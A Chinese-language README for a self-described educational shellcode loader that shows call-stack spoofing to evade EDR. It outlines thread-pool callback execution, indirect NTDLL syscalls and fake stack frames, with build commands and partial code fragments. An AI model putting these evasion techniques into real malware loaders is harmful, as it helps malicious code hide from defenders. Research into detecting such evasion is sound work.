这是一个教学性的shellcode loader项目,展示了Custom Call Stacks(自定义调用栈)技术的实现原理。该项目基于对《三探堆栈欺骗之Custom Call Stacks》的研究。
堆栈欺骗(Call Stack Spoofing)是一种EDR绕过技术,通过伪造或清理调用堆栈来隐藏恶意代码的执行轨迹。EDR系统会分析进程的调用栈来检测可疑行为,而堆栈欺骗技术可以让恶意操作看起来像是来自合法的系统调用。
Custom Call Stacks其核心思想是:
- 使用Windows线程池API创建"干净"的执行环境
- 通过系统回调机制执行代码,调用栈看起来来自系统内部
- 结合间接系统调用绕过API钩子检测
- 多层调用栈清理进一步混淆执行轨迹
- 线程池API使用:使用
CreateThreadpoolWork和SubmitThreadpoolWork - 内存操作:通过
NtAllocateVirtualMemory和NtProtectVirtualMemory - 回调执行:在线程池工作线程中执行shellcode
- 调用栈清理:简单的栈内容清理
- 间接系统调用:动态获取NTDLL函数地址
- 多层栈清理:使用lambda表达式创建深层调用栈
- 异常处理:完善的错误处理和异常捕获
- 内存管理:使用智能指针管理资源
- 底层控制:直接操作寄存器和栈结构
- 精确伪装:创建多层假调用栈帧
- 系统集成:与NTDLL函数无缝集成
# 基础版本
g++ -o CustomCallStackLoader.exe CustomCallStackLoader.cpp -lntdll
# 高级版本
g++ -o AdvancedCallStackSpoofer.exe AdvancedCallStackSpoofer.cpp -lntdllcl /EHsc CustomCallStackLoader.cpp /link ntdll.lib
cl /EHsc AdvancedCallStackSpoofer.cpp /link ntdll.libml64 /c CustomCallStack.asm
link CustomCallStack.obj /SUBSYSTEM:CONSOLE// 创建线程池工作项
pWork = CreateThreadpoolWork(CustomWorkCallback, &workParams, nullptr);
// 提交到线程池执行
SubmitThreadpoolWork(pWork);// 动态获取NTDLL函数地址
g_NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// 通过函数指针调用
status = g_NtAllocateVirtualMemory(hProcess, &allocAddr, 0, &allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);auto lambda1 = [this]() {
auto lambda2 = [this]() {
auto lambda3 = [this]() {
// 在深层lambda中执行敏感操作
volatile int dummy[128];
for (int i = 0; i < 128; i++) {
dummy[i] = rand() ^ GetTickCount();
}
};
lambda3();
};
lambda2();
};
lambda1();- 《三探堆栈欺骗之Custom Call Stacks》- fdx_xdf
- AlternativeShellcodeExec
- IoDllProxyLoad
- CallstackSpoofingPOC
- BokuLoader项目和相关研究